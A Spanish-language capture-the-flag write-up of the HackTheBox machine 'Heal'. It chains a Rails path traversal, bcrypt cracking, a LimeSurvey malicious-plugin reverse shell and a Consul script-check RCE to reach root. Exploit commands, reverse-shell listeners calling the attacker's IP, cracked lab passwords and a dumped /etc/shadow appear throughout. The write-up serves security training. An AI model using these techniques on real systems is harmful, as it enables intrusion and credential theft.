This page looks best with JavaScript enabled

HackTheBox - Heal

Heal expone una API escrita en Ruby on Rails vulnerable a Path Traversal, lo que permite filtrar la base de datos SQLite y obtener credenciales. Con estas, ingresamos a LimeSurvey donde una vulnerabilidad RCE nos dio acceso inicial. Credenciales dentro de un archivo de configuracion nos dieron acceso a un segundo usuario. Finalmente escalamos privilegios tras la explotacion de una vulnerabilidad RCE en Consul.

Nombre Heal box_img_maker
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2024-12-14
IP 10.10.11.46
Maker

rajHere

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [129, 129, 770, 846, 877, 281, 131, 21, 5, 16],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Nmap 7.95 scan initiated Thu Feb  6 02:44:46 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,18260,58274 -sV -sC -oN nmap_scan 10.10.11.46
Nmap scan report for 10.10.11.46
Host is up (0.078s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp    open   http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
18260/tcp closed unknown
58274/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb  6 02:45:00 2025 -- 1 IP address (1 host up) scanned in 14.01 seconds

Web Site

El sitio web nos redirige al dominio heal.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.46
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 Feb 2025 00:53:55 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://heal.htb/

El sitio muestra una aplicacion web para crear curriculums, se muestra la descripcion y formulario de login.

image

Web Tech

wappalyzer nos muestra la tecnologia utilizada por el sitio, se lista react, express y nodejs.

image

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio api.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.heal.htb" -u http://heal.htb -fl 8

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://heal.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.heal.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 81ms]
:: Progress: [100000/100000] :: Job [1/1] :: 501 req/sec :: Duration: [0:03:32] :: Errors: 0 ::

api.heal.htb

El subdominio muestra unicamente el logo y version de Rails: 7.1.4.

image

Web Application

Registramos un usuario nuevo en la aplicacion, dentro, se observan un formulario con multiples opciones para crear un curriculum en /resume.

image

Al rellenar informacion para un curriculum, este nos genera y descarga un archivo PDF.

image

Si observamos los metadatos con exiftool se describe como creador a wkhtmltopdf 0.12.6.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯ exiftool 19312665c0c7f483161e.pdf
ExifTool Version Number         : 13.10
File Name                       : 19312665c0c7f483161e.pdf
Directory                       : .
File Size                       : 29 kB
File Modification Date/Time     : 2025:02:07 02:22:31-05:00
File Access Date/Time           : 2025:02:07 02:22:32-05:00
File Inode Change Date/Time     : 2025:02:07 02:23:21-05:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.6
Producer                        : Qt 5.15.3
Create Date                     : 2025:02:07 01:10:57Z
Page Count                      : 1

/profile muestra la informacion del usuario.

image

/survey muestra un enlace hacia el subdominio take-survey.heal.htb.

image

LimeSurvey

Al visitar el subdominio, vemos que se trata de LimeSurvey, ademas se muestra el nombre de usuario de un administrador: ralph.

image

El enlace nos lleva directamente a una encuesta, encontramos una unica pregunta, al rellenar el formulario de respuesta simplemente retorna un mensaje.

image
image

Path Traversal

Si observamos el comportamiento de la aplicacion en el dominio, todas las solicitudes se realizan hacia la api: api.heal.htb, en este caso observamos que realiza la solicitud de descarga del PDF.

image

/download unicamente toma el nombre del archivo, si agregamos multiples ../ logramos leer /etc/passwd.

image

Ruby on Rails

Como sabemos, la api esta escrita en Ruby on Rails, basandonos en la estructura de archivos intentamos encontrar el archivo config.ru el cual estaria en la raiz de la carpeta del proyecto.

image

Database

Conociendo la raiz, logramos obtener el archivo de configuracion de la base de datos, donde vemos que es sqlite3 y se muestra el directorio donde esta almacenada storage/development.sqlite3.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# /download?filename=../../config/database.yml 

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

Utilizando curl y con el token logramos descargar la base de datos.

1
2
3
4
5
6
7
❯ curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjozfQ.CZbGMyPLgTWm9p2lPa9pGZ0vGQ0qKgr7RG4kj1tUSGc" 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o db.sqlite3
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 32768  100 32768    0     0   118k      0 --:--:-- --:--:-- --:--:--  118k
❯ file db.sqlite3
db.sqlite3: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2

En la base de datos encontramos el hash de la contrasena de ralph.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open db.sqlite3
sqlite> .tables
ar_internal_metadata  token_blacklists    
schema_migrations     users               
sqlite> .schema users
CREATE TABLE IF NOT EXISTS "users" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "email" varchar, "password_digest" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL, "fullname" varchar, "username" varchar, "is_admin" boolean);
sqlite> select * from users;
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1
2|xanax@htb.com|$2a$12$EujT33i4/UaBUFvucueV1ubuq1vDn8RSLHQvPbdRLXM5oh.gJ/4G6|2025-02-05 18:12:30.114764|2025-02-05 18:12:30.114764|aa|xanax|0
3|sckull@heal.htb|$2a$12$jdnaX0HHDhzzQuXAGclxm.TkmhMiabzrPBL0SRsyfx8OLtS0.yhc2|2025-02-06 01:08:56.105589|2025-02-06 01:08:56.105589|sckull|sckull|0
sqlite>

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash, se muestra que encontro el valor en texto plano.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ john hash_ralph --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369        (?)     
1g 0:00:00:10 DONE (2025-02-06 05:05) 0.09460g/s 47.68p/s 47.68c/s 47.68C/s pasaway..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Ralph - Webapp

Utilizamos las credenciales en la aplicacion web, ralph es administrador y no se muestra alguna otra funcionalidad diferente.

image

LimeSurvey - RCE

LimeSurvey tiene como administrador al usuario ralph, ingresamos las credenciales en el login del sitio.

image

Logramos acceder y vemos que la version es 6.6.4.

image

Plugin

Encontramos que existe una vulnerabilidad RCE en LimeSurvey 5.2.4, se muestra el exploit que realiza la instalacion de un plugin que permite ejecutar una shell inversa en la version 5.2.x. Utilizamos el PoC de la configuracion del plugin, realizando el cambio de la version de compatibilidad y la IP en el archivo de shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Heal.htb</name>
        <type>plugin</type>
        <creationDate>2025-02-05</creationDate>
        <lastUpdate>2025-02-05</lastUpdate>
        <author>Y1LD1R1M</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>6.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
		<![CDATA[Author : Y1LD1R1M]]></description>
    </metadata>

    <compatibility>
        <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Agregamos los dos archivos a un archivo zip.

1
2
3
4
5
6
7
8
9
❯ nano config.xml
❯ nano rev.php
❯ zip heal_plugin.zip config.xml rev.php
  adding: config.xml (deflated 53%)
  adding: rev.php (deflated 61%)
❯ ls heal_plugin.zip
 heal_plugin.zip

Subimos el plugin, instalamos y activamos.

image
image

Finalmente visitamos /upload/plugins/Heal.htb/rev.php para ejecutar la shell inversa.

User - www-data

Con la instalacion del plugin en LimeSurvey logramos obtener una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.47] from heal.htb [10.10.11.46] 42444
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 04:03:21 up 18:02,  0 users,  load average: 0.04, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
$

User - Ron

Encontramos la conexion de base de datos de limesurvey en el archivo de configuracion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ pwd
/var/www/limesurvey/application/config
$ cat config.php | grep pass
|    'password' The password used to connect to the database
			'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
			'password' => 'AdmiDi0_pA$$w0rd',
$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
$

Utilizamos esta contrasena con el usuario ron, logrando el acceso y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
www-data@heal:~/limesurvey/application/config$ su ron
Password: AdmiDi0_pA$$w0rd
ron@heal:/var/www/limesurvey/application/config$ whoami
ron
ron@heal:/var/www/limesurvey/application/config$ cd
ron@heal:~$ ls
user.txt
ron@heal:~$ cat user.txt
a4a4f57400389716d2a58d58062f54f1
ron@heal:~$

Las credenciales nos permiten acceder por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(kali㉿kali)-[~/htb/heal]
└─$ ssh ron@heal.htb # AdmiDi0_pA$$w0rd
ron@heal.htb's password: 

[...] snip [...]

ron@heal:~$ whoami;id;pwd
ron
uid=1001(ron) gid=1001(ron) groups=1001(ron)
/home/ron
ron@heal:~$

Privesc

netstat nos muestra multiples puertos abiertos localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
ron@heal:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
ron@heal:~$

Los puertos 3001 y 3000 pertenecen a la API y la aplicacion web respectivamente, como lo indican los archivos de configuracion de nginx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
ron@heal:/etc/nginx/sites-enabled$ ll
total 8
drwxr-xr-x 2 root root 4096 Jan  7 14:58 ./
drwxr-xr-x 8 root root 4096 Dec  8 13:57 ../
lrwxrwxrwx 1 root root   39 Dec  4 10:29 api.heal.htb -> /etc/nginx/sites-available/api.heal.htb
lrwxrwxrwx 1 root root   35 Dec  4 10:30 heal.htb -> /etc/nginx/sites-available/heal.htb
lrwxrwxrwx 1 root root   42 Dec  4 10:30 lime-survey.htb -> /etc/nginx/sites-available/lime-survey.htb
ron@heal:/etc/nginx/sites-enabled$ cat api.heal.htb 
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

server {
    listen 80;
    server_name api.heal.htb;

    # Proxy requests to the Flask server
    location / {
        limit_req zone=mylimit burst=20;
        proxy_pass http://127.0.0.1:3001;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
ron@heal:/etc/nginx/sites-enabled$ cat heal.htb 
#limit_req_zone $binary_remote_addr zone=heallimit:10m rate=10r/s;

server {
    listen 80;
    server_name heal.htb;

    # Redirect users accessing the site via the server's IP address
    if ($host != heal.htb) {
        rewrite ^ http://heal.htb/;
    }

    # Proxy requests to the Flask server
    location / {
        limit_req zone=mylimit burst=20;
        proxy_pass http://127.0.0.1:3000;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

# Default server block for IP-based access
server {
    listen 80 default_server;
    server_name _;

    # Redirect all IP-based requests to clouded.htb
    return 301 http://heal.htb/;
}
ron@heal:/etc/nginx/sites-enabled$

En el caso de los puertos ocho mil, solamente el 8500 mostro una respuesta: redireccion a ui/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
ron@heal:~$ curl -sI 127.0.0.1:8300
ron@heal:~$ curl -sI 127.0.0.1:8301
ron@heal:~$ curl -sI 127.0.0.1:8302
ron@heal:~$ curl -sI 127.0.0.1:8500
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: /ui/
Date: Fri, 07 Feb 2025 02:32:57 GMT

ron@heal:~$ curl -sI 127.0.0.1:8503
ron@heal:~$ curl -sI 127.0.0.1:8600

Local Port Forwarding

Ejecutamos Local Port Forwarding al puerto 8500 con SSH.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/heal]
└─$ ssh -fN -L 8181:127.0.0.1:8500 ron@heal.htb # AdmiDi0_pA$$w0rd
ron@heal.htb's password: 

┌──(kali㉿kali)-[~/htb/heal]
└─$

Consul - RCE

Localmente podemos acceder al sitio, vemos que se trata de Consul en su version v1.19.2.

image

Encontramos que existe la vulnerabilidad RCE en la API de Consul donde es posible registrar un ‘script check’ que verifica la salud de cierto servicio, encontramos dos exploits para esta vulnerabilidad: Hashicorp Consul v1.0 - Remote Command Execution (RCE), Hashicorp Consul - RCE via Services API.

ps muestra que el proceso de consul siendo ejecutado por root y en el archivo de configuracion se encuentra habilitado script check, ademas se muestra como default la politica de acl, por lo que las condiciones para la explotacion de la vulnerabilidad se cumplen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
ron@heal:~$ ps -ef | grep consul
root        1739       1  0 Feb06 ?        00:03:46 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
ron        49123   46744  0 02:59 pts/0    00:00:00 grep --color=auto consul
ron@heal:~$ cat /etc/consul.d/config.json 
{
"bootstrap":true,
"server": true,
"log_level": "DEBUG",
"enable_syslog": true,
"enable_script_checks": true,
"datacenter":"server1",
"addresses": {
        "http":"127.0.0.1"
},
"bind_addr": "127.0.0.1",
"node_name":"heal-internal",
"data_dir":"/var/lib/consul",
"acl_datacenter":"heal-server",
"acl_default_policy":"allow",
"encrypt":"l5/ztsxHF+OWZmTkjlLo92IrBBCRTTNDpdUpg2mJnmQ="
}
ron@heal:~$

Ejecutamos el exploit especificando los parametros necesarios, el token puede ser cualquier valor.

1
2
3
4
5
6
7
8
9
❯ python consul.py

[-] Usage: python3 consul.py <rhost> <rport> <lhost> <lport> <acl_token>

❯ python consul.py 127.0.0.1 8181 10.10.14.47 1338 test

[+] Request sent successfully, check your listener

Shell

Tras la ejecucion obtuvimos una shell como root y logramos acceder a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.47] from heal.htb [10.10.11.46] 60798
bash: cannot set terminal process group (62666): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cd /root
cd /root
root@heal:~# ls
ls
cleanup-consul.sh
consul-up.sh
plugin_cleanup.sh
root.txt
root@heal:~# cat root.txt
cat root.txt
feb3fad0fc2f6b240c6edb14c798f97d
root@heal:~# 

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
root@heal:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$PXt5gUmlNdTkrYBWtWJ.g0$KMKlRSr0.BNG0zhjcDIKvNsPkce/xbEtF22T1w/xKR8:19993:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19970:0:99999:7:::
ralph:$y$j9T$4Dy9HV2pcNjs/CJXRU9x11$Irhr1vraxuLfMbmhd1FmK5oq37WeIfwbMSTYu7Ud5U2:20066:0:99999:7:::
lxd:!:19970::::::
avahi:*:19993:0:99999:7:::
geoclue:*:19993:0:99999:7:::
postgres:*:19993:0:99999:7:::
_laurel:!:20065::::::
ron:$y$j9T$haKqSIafpebVZoB765rgf/$cC27DCE3e2WKdbe7Srsgy7CoFjTgtbwREp4olnJyKa3:20066:0:99999:7:::
root@heal:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe